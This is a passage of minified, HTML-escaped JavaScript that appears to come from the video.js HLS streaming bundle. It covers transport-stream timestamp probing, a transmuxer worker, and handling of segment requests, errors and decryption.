packet,pesType,pusi,parsed,frame,i,pes,startIndex=0,endIndex=188,endLoop=!1,currentFrame={data:[],size:0};endIndex&lt;bytes.byteLength;)if(71!==bytes[startIndex]||71!==bytes[endIndex])startIndex++,endIndex++;else{if(packet=bytes.subarray(startIndex,endIndex),&quot;pes&quot;===probe.ts.parseType(packet,pmt.pid))if(pesType=probe.ts.parsePesType(packet,pmt.table),pusi=probe.ts.parsePayloadUnitStartIndicator(packet),&quot;video&quot;===pesType&amp;&amp;(pusi&amp;&amp;!endLoop&amp;&amp;(parsed=probe.ts.parsePesTime(packet))&amp;&amp;(parsed.type=&quot;video&quot;,result.video.push(parsed),endLoop=!0),!result.firstKeyFrame)){if(pusi&amp;&amp;0!==currentFrame.size){for(frame=new Uint8Array(currentFrame.size),i=0;currentFrame.data.length;)pes=currentFrame.data.shift(),frame.set(pes,i),i+=pes.byteLength;if(probe.ts.videoPacketContainsKeyFrame(frame)){var firstKeyFrame=probe.ts.parsePesTime(frame);firstKeyFrame?(result.firstKeyFrame=firstKeyFrame,result.firstKeyFrame.type=&quot;video&quot;):console.warn(&quot;Failed to extract PTS/DTS from PES at first keyframe. This could be an unusual TS segment, or else mux.js did not parse your TS segment correctly. If you know your TS segments do contain PTS/DTS on keyframes please file a bug report! You can try ffprobe to double check for yourself.&quot;)}currentFrame.size=0}currentFrame.data.push(packet),currentFrame.size+=packet.byteLength}if(endLoop&amp;&amp;result.firstKeyFrame)break;startIndex+=188,endIndex+=188}for(startIndex=(endIndex=bytes.byteLength)-188,endLoop=!1;startIndex&gt;=0;)if(71!==bytes[startIndex]||71!==bytes[endIndex])startIndex--,endIndex--;else{if(packet=bytes.subarray(startIndex,endIndex),&quot;pes&quot;===probe.ts.parseType(packet,pmt.pid))pesType=probe.ts.parsePesType(packet,pmt.table),pusi=probe.ts.parsePayloadUnitStartIndicator(packet),&quot;video&quot;===pesType&amp;&amp;pusi&amp;&amp;(parsed=probe.ts.parsePesTime(packet))&amp;&amp;(parsed.type=&quot;video&quot;,result.video.push(parsed),endLoop=!0);if(endLoop)break;startIndex-=188,endIndex-=188}},inspectTs_=function(bytes){var pmt={pid:null,table:null},result={};for(var pid in function(bytes,pmt){for(var packet,startIndex=0,endIndex=188;endIndex&lt;bytes.byteLength;)if(71!==bytes[startIndex]||71!==bytes[endIndex])startIndex++,endIndex++;else{switch(packet=bytes.subarray(startIndex,endIndex),probe.ts.parseType(packet,pmt.pid)){case&quot;pat&quot;:pmt.pid=probe.ts.parsePat(packet);break;case&quot;pmt&quot;:var table=probe.ts.parsePmt(packet);pmt.table=pmt.table||{},Object.keys(table).forEach((function(key){pmt.table[key]=table[key]}))}startIndex+=188,endIndex+=188}}(bytes,pmt),pmt.table){if(pmt.table.hasOwnProperty(pid))switch(pmt.table[pid]){case streamTypes.H264_STREAM_TYPE:result.video=[],parseVideoPes_(bytes,pmt,result),0===result.video.length&amp;&amp;delete result.video;break;case streamTypes.ADTS_STREAM_TYPE:result.audio=[],parseAudioPes_(bytes,pmt,result),0===result.audio.length&amp;&amp;delete result.audio}}return result},tsInspector_inspect=function(bytes,baseTimestamp){var result;return result=probe.aac.isLikelyAacData(bytes)?function(bytes){for(var packet,endLoop=!1,audioCount=0,sampleRate=null,timestamp=null,frameSize=0,byteIndex=0;bytes.length-byteIndex&gt;=3;){switch(probe.aac.parseType(bytes,byteIndex)){case&quot;timed-metadata&quot;:if(bytes.length-byteIndex&lt;10){endLoop=!0;break}if((frameSize=probe.aac.parseId3TagSize(bytes,byteIndex))&gt;bytes.length){endLoop=!0;break}null===timestamp&amp;&amp;(packet=bytes.subarray(byteIndex,byteIndex+frameSize),timestamp=probe.aac.parseAacTimestamp(packet)),byteIndex+=frameSize;break;case&quot;audio&quot;:if(bytes.length-byteIndex&lt;7){endLoop=!0;break}if((frameSize=probe.aac.parseAdtsSize(bytes,byteIndex))&gt;bytes.length){endLoop=!0;break}null===sampleRate&amp;&amp;(packet=bytes.subarray(byteIndex,byteIndex+frameSize),sampleRate=probe.aac.parseSampleRate(packet)),audioCount++,byteIndex+=frameSize;break;default:byteIndex++}if(endLoop)return null}if(null===sampleRate||null===timestamp)return null;var audioTimescale=ONE_SECOND_IN_TS/sampleRate;return{audio:[{type:&quot;audio&quot;,dts:timestamp,pts:timestamp},{type:&quot;audio&quot;,dts:timestamp+1024*audioCount*audioTimescale,pts:timestamp+1024*audioCount*audioTimescale}]}}(bytes):inspectTs_(bytes),result&amp;&amp;(result.audio||result.video)?(function(segmentInfo,baseTimestamp){if(segmentInfo.audio&amp;&amp;segmentInfo.audio.length){var audioBaseTimestamp=baseTimestamp;(void 0===audioBaseTimestamp||isNaN(audioBaseTimestamp))&amp;&amp;(audioBaseTimestamp=segmentInfo.audio[0].dts),segmentInfo.audio.forEach((function(info){info.dts=handleRollover(info.dts,audioBaseTimestamp),info.pts=handleRollover(info.pts,audioBaseTimestamp),info.dtsTime=info.dts/ONE_SECOND_IN_TS,info.ptsTime=info.pts/ONE_SECOND_IN_TS}))}if(segmentInfo.video&amp;&amp;segmentInfo.video.length){var videoBaseTimestamp=baseTimestamp;if((void 0===videoBaseTimestamp||isNaN(videoBaseTimestamp))&amp;&amp;(videoBaseTimestamp=segmentInfo.video[0].dts),segmentInfo.video.forEach((function(info){info.dts=handleRollover(info.dts,videoBaseTimestamp),info.pts=handleRollover(info.pts,videoBaseTimestamp),info.dtsTime=info.dts/ONE_SECOND_IN_TS,info.ptsTime=info.pts/ONE_SECOND_IN_TS})),segmentInfo.firstKeyFrame){var frame=segmentInfo.firstKeyFrame;frame.dts=handleRollover(frame.dts,videoBaseTimestamp),frame.pts=handleRollover(frame.pts,videoBaseTimestamp),frame.dtsTime=frame.dts/ONE_SECOND_IN_TS,frame.ptsTime=frame.pts/ONE_SECOND_IN_TS}}}(result,baseTimestamp),result):null},MessageHandlers=function(){function MessageHandlers(self,options){this.options=options||{},this.self=self,this.init()}var _proto=MessageHandlers.prototype;return _proto.init=function(){this.transmuxer&amp;&amp;this.transmuxer.dispose(),this.transmuxer=new transmuxer.Transmuxer(this.options),function(self,transmuxer){transmuxer.on(&quot;data&quot;,(function(segment){var initArray=segment.initSegment;segment.initSegment={data:initArray.buffer,byteOffset:initArray.byteOffset,byteLength:initArray.byteLength};var typedArray=segment.data;segment.data=typedArray.buffer,self.postMessage({action:&quot;data&quot;,segment:segment,byteOffset:typedArray.byteOffset,byteLength:typedArray.byteLength},[segment.data])})),transmuxer.on(&quot;done&quot;,(function(data){self.postMessage({action:&quot;done&quot;})})),transmuxer.on(&quot;gopInfo&quot;,(function(gopInfo){self.postMessage({action:&quot;gopInfo&quot;,gopInfo:gopInfo})})),transmuxer.on(&quot;videoSegmentTimingInfo&quot;,(function(timingInfo){var videoSegmentTimingInfo={start:{decode:clock_videoTsToSeconds$0(timingInfo.start.dts),presentation:clock_videoTsToSeconds$0(timingInfo.start.pts)},end:{decode:clock_videoTsToSeconds$0(timingInfo.end.dts),presentation:clock_videoTsToSeconds$0(timingInfo.end.pts)},baseMediaDecodeTime:clock_videoTsToSeconds$0(timingInfo.baseMediaDecodeTime)};timingInfo.prependedContentDuration&amp;&amp;(videoSegmentTimingInfo.prependedContentDuration=clock_videoTsToSeconds$0(timingInfo.prependedContentDuration)),self.postMessage({action:&quot;videoSegmentTimingInfo&quot;,videoSegmentTimingInfo:videoSegmentTimingInfo})})),transmuxer.on(&quot;audioSegmentTimingInfo&quot;,(function(timingInfo){var audioSegmentTimingInfo={start:{decode:clock_videoTsToSeconds$0(timingInfo.start.dts),presentation:clock_videoTsToSeconds$0(timingInfo.start.pts)},end:{decode:clock_videoTsToSeconds$0(timingInfo.end.dts),presentation:clock_videoTsToSeconds$0(timingInfo.end.pts)},baseMediaDecodeTime:clock_videoTsToSeconds$0(timingInfo.baseMediaDecodeTime)};timingInfo.prependedContentDuration&amp;&amp;(audioSegmentTimingInfo.prependedContentDuration=clock_videoTsToSeconds$0(timingInfo.prependedContentDuration)),self.postMessage({action:&quot;audioSegmentTimingInfo&quot;,audioSegmentTimingInfo:audioSegmentTimingInfo})})),transmuxer.on(&quot;id3Frame&quot;,(function(id3Frame){self.postMessage({action:&quot;id3Frame&quot;,id3Frame:id3Frame})})),transmuxer.on(&quot;caption&quot;,(function(caption){self.postMessage({action:&quot;caption&quot;,caption:caption})})),transmuxer.on(&quot;trackinfo&quot;,(function(trackInfo){self.postMessage({action:&quot;trackinfo&quot;,trackInfo:trackInfo})})),transmuxer.on(&quot;audioTimingInfo&quot;,(function(audioTimingInfo){self.postMessage({action:&quot;audioTimingInfo&quot;,audioTimingInfo:{start:clock_videoTsToSeconds$0(audioTimingInfo.start),end:clock_videoTsToSeconds$0(audioTimingInfo.end)}})})),transmuxer.on(&quot;videoTimingInfo&quot;,(function(videoTimingInfo){self.postMessage({action:&quot;videoTimingInfo&quot;,videoTimingInfo:{start:clock_videoTsToSeconds$0(videoTimingInfo.start),end:clock_videoTsToSeconds$0(videoTimingInfo.end)}})})),transmuxer.on(&quot;log&quot;,(function(log){self.postMessage({action:&quot;log&quot;,log:log})}))}(this.self,this.transmuxer)},_proto.pushMp4Captions=function(data){this.captionParser||(this.captionParser=new captionParser,this.captionParser.init());var segment=new Uint8Array(data.data,data.byteOffset,data.byteLength),parsed=this.captionParser.parse(segment,data.trackIds,data.timescales);this.self.postMessage({action:&quot;mp4Captions&quot;,captions:parsed&amp;&amp;parsed.captions||[],logs:parsed&amp;&amp;parsed.logs||[],data:segment.buffer},[segment.buffer])},_proto.probeMp4StartTime=function(_ref){var timescales=_ref.timescales,data=_ref.data,startTime=probe$2_startTime(timescales,data);this.self.postMessage({action:&quot;probeMp4StartTime&quot;,startTime:startTime,data:data},[data.buffer])},_proto.probeMp4Tracks=function(_ref2){var data=_ref2.data,tracks=probe$2_tracks(data);this.self.postMessage({action:&quot;probeMp4Tracks&quot;,tracks:tracks,data:data},[data.buffer])},_proto.probeTs=function(_ref3){var data=_ref3.data,baseStartTime=_ref3.baseStartTime,tsStartTime=&quot;number&quot;!=typeof baseStartTime||isNaN(baseStartTime)?void 0:baseStartTime*clock_ONE_SECOND_IN_TS$0,timeInfo=tsInspector_inspect(data,tsStartTime),result=null;timeInfo&amp;&amp;((result={hasVideo:timeInfo.video&amp;&amp;2===timeInfo.video.length||!1,hasAudio:timeInfo.audio&amp;&amp;2===timeInfo.audio.length||!1}).hasVideo&amp;&amp;(result.videoStart=timeInfo.video[0].ptsTime),result.hasAudio&amp;&amp;(result.audioStart=timeInfo.audio[0].ptsTime)),this.self.postMessage({action:&quot;probeTs&quot;,result:result,data:data},[data.buffer])},_proto.clearAllMp4Captions=function(){this.captionParser&amp;&amp;this.captionParser.clearAllCaptions()},_proto.clearParsedMp4Captions=function(){this.captionParser&amp;&amp;this.captionParser.clearParsedCaptions()},_proto.push=function(data){var segment=new Uint8Array(data.data,data.byteOffset,data.byteLength);this.transmuxer.push(segment)},_proto.reset=function(){this.transmuxer.reset()},_proto.setTimestampOffset=function(data){var timestampOffset=data.timestampOffset||0;this.transmuxer.setBaseMediaDecodeTime(Math.round(clock_secondsToVideoTs$0(timestampOffset)))},_proto.setAudioAppendStart=function(data){this.transmuxer.setAudioAppendStart(Math.ceil(clock_secondsToVideoTs$0(data.appendStart)))},_proto.setRemux=function(data){this.transmuxer.setRemux(data.remux)},_proto.flush=function(data){this.transmuxer.flush(),self.postMessage({action:&quot;done&quot;,type:&quot;transmuxed&quot;})},_proto.endTimeline=function(){this.transmuxer.endTimeline(),self.postMessage({action:&quot;endedtimeline&quot;,type:&quot;transmuxed&quot;})},_proto.alignGopsWith=function(data){this.transmuxer.alignGopsWith(data.gopsToAlignWith.slice())},MessageHandlers}();self.onmessage=function(event){&quot;init&quot;===event.data.action&amp;&amp;event.data.options?this.messageHandlers=new MessageHandlers(self,event.data.options):(this.messageHandlers||(this.messageHandlers=new MessageHandlers(self)),event.data&amp;&amp;event.data.action&amp;&amp;&quot;init&quot;!==event.data.action&amp;&amp;this.messageHandlers[event.data.action]&amp;&amp;this.messageHandlers[event.data.action](event.data))}}))),TransmuxWorker=factory(workerCode$1),processTransmux=function(options){var transmuxer=options.transmuxer,bytes=options.bytes,audioAppendStart=options.audioAppendStart,gopsToAlignWith=options.gopsToAlignWith,remux=options.remux,onData=options.onData,onTrackInfo=options.onTrackInfo,onAudioTimingInfo=options.onAudioTimingInfo,onVideoTimingInfo=options.onVideoTimingInfo,onVideoSegmentTimingInfo=options.onVideoSegmentTimingInfo,onAudioSegmentTimingInfo=options.onAudioSegmentTimingInfo,onId3=options.onId3,onCaptions=options.onCaptions,onDone=options.onDone,onEndedTimeline=options.onEndedTimeline,onTransmuxerLog=options.onTransmuxerLog,isEndOfTimeline=options.isEndOfTimeline,transmuxedData={buffer:[]},waitForEndedTimelineEvent=isEndOfTimeline;if(transmuxer.onmessage=function(event){transmuxer.currentTransmux===options&amp;&amp;(&quot;data&quot;===event.data.action&amp;&amp;function(event,transmuxedData,callback){var _event$data$segment=event.data.segment,type=_event$data$segment.type,initSegment=_event$data$segment.initSegment,captions=_event$data$segment.captions,captionStreams=_event$data$segment.captionStreams,metadata=_event$data$segment.metadata,videoFrameDtsTime=_event$data$segment.videoFrameDtsTime,videoFramePtsTime=_event$data$segment.videoFramePtsTime;transmuxedData.buffer.push({captions:captions,captionStreams:captionStreams,metadata:metadata});var boxes=event.data.segment.boxes||{data:event.data.segment.data},result={type:type,data:new Uint8Array(boxes.data,boxes.data.byteOffset,boxes.data.byteLength),initSegment:new Uint8Array(initSegment.data,initSegment.byteOffset,initSegment.byteLength)};void 0!==videoFrameDtsTime&amp;&amp;(result.videoFrameDtsTime=videoFrameDtsTime),void 0!==videoFramePtsTime&amp;&amp;(result.videoFramePtsTime=videoFramePtsTime),callback(result)}(event,transmuxedData,onData),&quot;trackinfo&quot;===event.data.action&amp;&amp;onTrackInfo(event.data.trackInfo),&quot;gopInfo&quot;===event.data.action&amp;&amp;function(event,transmuxedData){transmuxedData.gopInfo=event.data.gopInfo}(event,transmuxedData),&quot;audioTimingInfo&quot;===event.data.action&amp;&amp;onAudioTimingInfo(event.data.audioTimingInfo),&quot;videoTimingInfo&quot;===event.data.action&amp;&amp;onVideoTimingInfo(event.data.videoTimingInfo),&quot;videoSegmentTimingInfo&quot;===event.data.action&amp;&amp;onVideoSegmentTimingInfo(event.data.videoSegmentTimingInfo),&quot;audioSegmentTimingInfo&quot;===event.data.action&amp;&amp;onAudioSegmentTimingInfo(event.data.audioSegmentTimingInfo),&quot;id3Frame&quot;===event.data.action&amp;&amp;onId3([event.data.id3Frame],event.data.id3Frame.dispatchType),&quot;caption&quot;===event.data.action&amp;&amp;onCaptions(event.data.caption),&quot;endedtimeline&quot;===event.data.action&amp;&amp;(waitForEndedTimelineEvent=!1,onEndedTimeline()),&quot;log&quot;===event.data.action&amp;&amp;onTransmuxerLog(event.data.log),&quot;transmuxed&quot;===event.data.type&amp;&amp;(waitForEndedTimelineEvent||(transmuxer.onmessage=null,function(_ref){var transmuxedData=_ref.transmuxedData,callback=_ref.callback;transmuxedData.buffer=[],callback(transmuxedData)}({transmuxedData:transmuxedData,callback:onDone}),dequeue(transmuxer))))},audioAppendStart&amp;&amp;transmuxer.postMessage({action:&quot;setAudioAppendStart&quot;,appendStart:audioAppendStart}),Array.isArray(gopsToAlignWith)&amp;&amp;transmuxer.postMessage({action:&quot;alignGopsWith&quot;,gopsToAlignWith:gopsToAlignWith}),void 0!==remux&amp;&amp;transmuxer.postMessage({action:&quot;setRemux&quot;,remux:remux}),bytes.byteLength){var buffer=bytes instanceof ArrayBuffer?bytes:bytes.buffer,byteOffset=bytes instanceof ArrayBuffer?0:bytes.byteOffset;transmuxer.postMessage({action:&quot;push&quot;,data:buffer,byteOffset:byteOffset,byteLength:bytes.byteLength},[buffer])}isEndOfTimeline&amp;&amp;transmuxer.postMessage({action:&quot;endTimeline&quot;}),transmuxer.postMessage({action:&quot;flush&quot;})},dequeue=function(transmuxer){transmuxer.currentTransmux=null,transmuxer.transmuxQueue.length&amp;&amp;(transmuxer.currentTransmux=transmuxer.transmuxQueue.shift(),&quot;function&quot;==typeof transmuxer.currentTransmux?transmuxer.currentTransmux():processTransmux(transmuxer.currentTransmux))},processAction=function(transmuxer,action){transmuxer.postMessage({action:action}),dequeue(transmuxer)},enqueueAction=function(action,transmuxer){if(!transmuxer.currentTransmux)return transmuxer.currentTransmux=action,void processAction(transmuxer,action);transmuxer.transmuxQueue.push(processAction.bind(null,transmuxer,action))},transmux=function(options){if(!options.transmuxer.currentTransmux)return options.transmuxer.currentTransmux=options,void processTransmux(options);options.transmuxer.transmuxQueue.push(options)},segmentTransmuxer_reset=function(transmuxer){enqueueAction(&quot;reset&quot;,transmuxer)},segmentTransmuxer_createTransmuxer=function(options){var transmuxer=new TransmuxWorker;transmuxer.currentTransmux=null,transmuxer.transmuxQueue=[];var term=transmuxer.terminate;return transmuxer.terminate=function(){return transmuxer.currentTransmux=null,transmuxer.transmuxQueue.length=0,term.call(transmuxer)},transmuxer.postMessage({action:&quot;init&quot;,options:options}),transmuxer},workerCallback=function(options){var transmuxer=options.transmuxer,endAction=options.endAction||options.action,callback=options.callback,message=_extends_1({},options,{endAction:null,transmuxer:null,callback:null});if(transmuxer.addEventListener(&quot;message&quot;,(function listenForEndEvent(event){event.data.action===endAction&amp;&amp;(transmuxer.removeEventListener(&quot;message&quot;,listenForEndEvent),event.data.data&amp;&amp;(event.data.data=new Uint8Array(event.data.data,options.byteOffset||0,options.byteLength||event.data.data.byteLength),options.data&amp;&amp;(options.data=event.data.data)),callback(event.data))})),options.data){var isArrayBuffer=options.data instanceof ArrayBuffer;message.byteOffset=isArrayBuffer?0:options.data.byteOffset,message.byteLength=options.data.byteLength;var transfers=[isArrayBuffer?options.data:options.data.buffer];transmuxer.postMessage(message,transfers)}else transmuxer.postMessage(message)},REQUEST_ERRORS_FAILURE=2,REQUEST_ERRORS_TIMEOUT=-101,REQUEST_ERRORS_ABORTED=-102,abortAll=function(activeXhrs){activeXhrs.forEach((function(xhr){xhr.abort()}))},handleErrors=function(error,request){return request.timedout?{status:request.status,message:&quot;HLS request timed-out at URL: &quot;+request.uri,code:REQUEST_ERRORS_TIMEOUT,xhr:request}:request.aborted?{status:request.status,message:&quot;HLS request aborted at URL: &quot;+request.uri,code:REQUEST_ERRORS_ABORTED,xhr:request}:error?{status:request.status,message:&quot;HLS request errored at URL: &quot;+request.uri,code:REQUEST_ERRORS_FAILURE,xhr:request}:&quot;arraybuffer&quot;===request.responseType&amp;&amp;0===request.response.byteLength?{status:request.status,message:&quot;Empty HLS response at URL: &quot;+request.uri,code:REQUEST_ERRORS_FAILURE,xhr:request}:null},handleKeyResponse=function(segment,objects,finishProcessingFn){return function(error,request){var response=request.response,errorObj=handleErrors(error,request);if(errorObj)return finishProcessingFn(errorObj,segment);if(16!==response.byteLength)return finishProcessingFn({status:request.status,message:&quot;Invalid HLS key at URL: &quot;+request.uri,code:REQUEST_ERRORS_FAILURE,xhr:request},segment);for(var view=new DataView(response),bytes=new Uint32Array([view.getUint32(0),view.getUint32(4),view.getUint32(8),view.getUint32(12)]),i=0;i&lt;objects.length;i++)objects[i].bytes=bytes;return finishProcessingFn(null,segment)}},parseInitSegment=function(segment,_callback){var type=detectContainerForBytes(segment.map.bytes);if(&quot;mp4&quot;!==type){var uri=segment.map.resolvedUri||segment.map.uri;return _callback({internal:!0,message:&quot;Found unsupported &quot;+(type||&quot;unknown&quot;)+&quot; container for initialization segment at URL: &quot;+uri,code:REQUEST_ERRORS_FAILURE})}workerCallback({action:&quot;probeMp4Tracks&quot;,data:segment.map.bytes,transmuxer:segment.transmuxer,callback:function(_ref){var tracks=_ref.tracks,data=_ref.data;return segment.map.bytes=data,tracks.forEach((function(track){segment.map.tracks=segment.map.tracks||{},segment.map.tracks[track.type]||(segment.map.tracks[track.type]=track,&quot;number&quot;==typeof track.id&amp;&amp;track.timescale&amp;&amp;(segment.map.timescales=segment.map.timescales||{},segment.map.timescales[track.id]=track.timescale))})),_callback(null)}})},handleSegmentResponse=function(_ref3){var segment=_ref3.segment,finishProcessingFn=_ref3.finishProcessingFn,responseType=_ref3.responseType;return function(error,request){var errorObj=handleErrors(error,request);if(errorObj)return finishProcessingFn(errorObj,segment);var newBytes=&quot;arraybuffer&quot;!==responseType&amp;&amp;request.responseText?function(string){for(var view=new Uint8Array(new ArrayBuffer(string.length)),i=0;i&lt;string.length;i++)view[i]=string.charCodeAt(i);return view.buffer}(request.responseText.substring(segment.lastReachedChar||0)):request.response;return segment.stats=function(request){return{bandwidth:request.bandwidth,bytesReceived:request.bytesReceived||0,roundTripTime:request.roundTripTime||0}}(request),segment.key?segment.encryptedBytes=new Uint8Array(newBytes):segment.bytes=new Uint8Array(newBytes),finishProcessingFn(null,segment)}},transmuxAndNotify=function(_ref4){var segment=_ref4.segment,bytes=_ref4.bytes,trackInfoFn=_ref4.trackInfoFn,timingInfoFn=_ref4.timingInfoFn,videoSegmentTimingInfoFn=_ref4.videoSegmentTimingInfoFn,audioSegmentTimingInfoFn=_ref4.audioSegmentTimingInfoFn,id3Fn=_ref4.id3Fn,captionsFn=_ref4.captionsFn,isEndOfTimeline=_ref4.isEndOfTimeline,endedTimelineFn=_ref4.endedTimelineFn,dataFn=_ref4.dataFn,doneFn=_ref4.doneFn,onTransmuxerLog=_ref4.onTransmuxerLog,fmp4Tracks=segment.map&amp;&amp;segment.map.tracks||{},isMuxed=Boolean(fmp4Tracks.audio&amp;&amp;fmp4Tracks.video),audioStartFn=timingInfoFn.bind(null,segment,&quot;audio&quot;,&quot;start&quot;),audioEndFn=timingInfoFn.bind(null,segment,&quot;audio&quot;,&quot;end&quot;),videoStartFn=timingInfoFn.bind(null,segment,&quot;video&quot;,&quot;start&quot;),videoEndFn=timingInfoFn.bind(null,segment,&quot;video&quot;,&quot;end&quot;);workerCallback({action:&quot;probeTs&quot;,transmuxer:segment.transmuxer,data:bytes,baseStartTime:segment.baseStartTime,callback:function(data){segment.bytes=bytes=data.data;var probeResult=data.result;probeResult&amp;&amp;(trackInfoFn(segment,{hasAudio:probeResult.hasAudio,hasVideo:probeResult.hasVideo,isMuxed:isMuxed}),trackInfoFn=null,probeResult.hasAudio&amp;&amp;!isMuxed&amp;&amp;audioStartFn(probeResult.audioStart),probeResult.hasVideo&amp;&amp;videoStartFn(probeResult.videoStart),audioStartFn=null,videoStartFn=null),transmux({bytes:bytes,transmuxer:segment.transmuxer,audioAppendStart:segment.audioAppendStart,gopsToAlignWith:segment.gopsToAlignWith,remux:isMuxed,onData:function(result){result.type=&quot;combined&quot;===result.type?&quot;video&quot;:result.type,dataFn(segment,result)},onTrackInfo:function(trackInfo){trackInfoFn&amp;&amp;(isMuxed&amp;&amp;(trackInfo.isMuxed=!0),trackInfoFn(segment,trackInfo))},onAudioTimingInfo:function(audioTimingInfo){audioStartFn&amp;&amp;void 0!==audioTimingInfo.start&amp;&amp;(audioStartFn(audioTimingInfo.start),audioStartFn=null),audioEndFn&amp;&amp;void 0!==audioTimingInfo.end&amp;&amp;audioEndFn(audioTimingInfo.end)},onVideoTimingInfo:function(videoTimingInfo){videoStartFn&amp;&amp;void 0!==videoTimingInfo.start&amp;&amp;(videoStartFn(videoTimingInfo.start),videoStartFn=null),videoEndFn&amp;&amp;void 0!==videoTimingInfo.end&amp;&amp;videoEndFn(videoTimingInfo.end)},onVideoSegmentTimingInfo:function(videoSegmentTimingInfo){videoSegmentTimingInfoFn(videoSegmentTimingInfo)},onAudioSegmentTimingInfo:function(audioSegmentTimingInfo){audioSegmentTimingInfoFn(audioSegmentTimingInfo)},onId3:function(id3Frames,dispatchType){id3Fn(segment,id3Frames,dispatchType)},onCaptions:function(captions){captionsFn(segment,[captions])},isEndOfTimeline:isEndOfTimeline,onEndedTimeline:function(){endedTimelineFn()},onTransmuxerLog:onTransmuxerLog,onDone:function(result){doneFn&amp;&amp;(result.type=&quot;combined&quot;===result.type?&quot;video&quot;:result.type,doneFn(null,segment,result))}})}})},handleSegmentBytes=function(_ref5){var segment=_ref5.segment,bytes=_ref5.bytes,trackInfoFn=_ref5.trackInfoFn,timingInfoFn=_ref5.timingInfoFn,videoSegmentTimingInfoFn=_ref5.videoSegmentTimingInfoFn,audioSegmentTimingInfoFn=_ref5.audioSegmentTimingInfoFn,id3Fn=_ref5.id3Fn,captionsFn=_ref5.captionsFn,isEndOfTimeline=_ref5.isEndOfTimeline,endedTimelineFn=_ref5.endedTimelineFn,dataFn=_ref5.dataFn,doneFn=_ref5.doneFn,onTransmuxerLog=_ref5.onTransmuxerLog,bytesAsUint8Array=new Uint8Array(bytes);if(function(bytes){return findBox(bytes,[&quot;moof&quot;]).length&gt;0}(bytesAsUint8Array)){segment.isFmp4=!0;var tracks=segment.map.tracks,trackInfo={isFmp4:!0,hasVideo:!!tracks.video,hasAudio:!!tracks.audio};tracks.audio&amp;&amp;tracks.audio.codec&amp;&amp;&quot;enca&quot;!==tracks.audio.codec&amp;&amp;(trackInfo.audioCodec=tracks.audio.codec),tracks.video&amp;&amp;tracks.video.codec&amp;&amp;&quot;encv&quot;!==tracks.video.codec&amp;&amp;(trackInfo.videoCodec=tracks.video.codec),tracks.video&amp;&amp;tracks.audio&amp;&amp;(trackInfo.isMuxed=!0),trackInfoFn(segment,trackInfo);var finishLoading=function(captions){dataFn(segment,{data:bytesAsUint8Array,type:trackInfo.hasAudio&amp;&amp;!trackInfo.isMuxed?&quot;audio&quot;:&quot;video&quot;}),captions&amp;&amp;captions.length&amp;&amp;captionsFn(segment,captions),doneFn(null,segment,{})};workerCallback({action:&quot;probeMp4StartTime&quot;,timescales:segment.map.timescales,data:bytesAsUint8Array,transmuxer:segment.transmuxer,callback:function(_ref6){var data=_ref6.data,startTime=_ref6.startTime;bytes=data.buffer,segment.bytes=bytesAsUint8Array=data,trackInfo.hasAudio&amp;&amp;!trackInfo.isMuxed&amp;&amp;timingInfoFn(segment,&quot;audio&quot;,&quot;start&quot;,startTime),trackInfo.hasVideo&amp;&amp;timingInfoFn(segment,&quot;video&quot;,&quot;start&quot;,startTime),tracks.video&amp;&amp;data.byteLength&amp;&amp;segment.transmuxer?workerCallback({action:&quot;pushMp4Captions&quot;,endAction:&quot;mp4Captions&quot;,transmuxer:segment.transmuxer,data:bytesAsUint8Array,timescales:segment.map.timescales,trackIds:[tracks.video.id],callback:function(message){bytes=message.data.buffer,segment.bytes=bytesAsUint8Array=message.data,message.logs.forEach((function(log){onTransmuxerLog(videojs.mergeOptions(log,{stream:&quot;mp4CaptionParser&quot;}))})),finishLoading(message.captions)}}):finishLoading()}})}else if(segment.transmuxer){if(void 0===segment.container&amp;&amp;(segment.container=detectContainerForBytes(bytesAsUint8Array)),&quot;ts&quot;!==segment.container&amp;&amp;&quot;aac&quot;!==segment.container)return trackInfoFn(segment,{hasAudio:!1,hasVideo:!1}),void doneFn(null,segment,{});transmuxAndNotify({segment:segment,bytes:bytes,trackInfoFn:trackInfoFn,timingInfoFn:timingInfoFn,videoSegmentTimingInfoFn:videoSegmentTimingInfoFn,audioSegmentTimingInfoFn:audioSegmentTimingInfoFn,id3Fn:id3Fn,captionsFn:captionsFn,isEndOfTimeline:isEndOfTimeline,endedTimelineFn:endedTimelineFn,dataFn:dataFn,doneFn:doneFn,onTransmuxerLog:onTransmuxerLog})}else doneFn(null,segment,{})},decrypt=function(_ref7,callback){var keyBytes,id=_ref7.id,key=_ref7.key,encryptedBytes=_ref7.encryptedBytes,decryptionWorker=_ref7.decryptionWorker;decryptionWorker.addEventListener(&quot;message&quot;,(function decryptionHandler(event){if(event.data.source===id){decryptionWorker.removeEventListener(&quot;message&quot;,decryptionHandler);var decrypted=event.data.decrypted;callback(new Uint8Array(decrypted.bytes,decrypted.byteOffset,decrypted.byteLength))}})),keyBytes=key.bytes.slice?key.bytes.slice():new Uint32Array(Array.prototype.slice.call(key.bytes)),decryptionWorker.postMessage(createTransferableMessage({source:id,encrypted:encryptedBytes,key:keyBytes,iv:key.iv}),[encryptedBytes.buffer,keyBytes.buffer])},waitForCompletion=function(_ref9){var activeXhrs=_ref9.activeXhrs,decryptionWorker=_ref9.decryptionWorker,trackInfoFn=_ref9.trackInfoFn,timingInfoFn=_ref9.timingInfoFn,videoSegmentTimingInfoFn=_ref9.videoSegmentTimingInfoFn,audioSegmentTimingInfoFn=_ref9.audioSegmentTimingInfoFn,id3Fn=_ref9.id3Fn,captionsFn=_ref9.captionsFn,isEndOfTimeline=_ref9.isEndOfTimeline,endedTimelineFn=_ref9.endedTimelineFn,dataFn=_ref9.dataFn,doneFn=_ref9.doneFn,onTransmuxerLog=_ref9.onTransmuxerLog,count=0,didError=!1;return function(error,segment){if(!didError){if(error)return didError=!0,abortAll(activeXhrs),doneFn(error,segment);if((count+=1)===activeXhrs.length){var segmentFinish=function(){if(segment.encryptedBytes)return function(_ref8){var 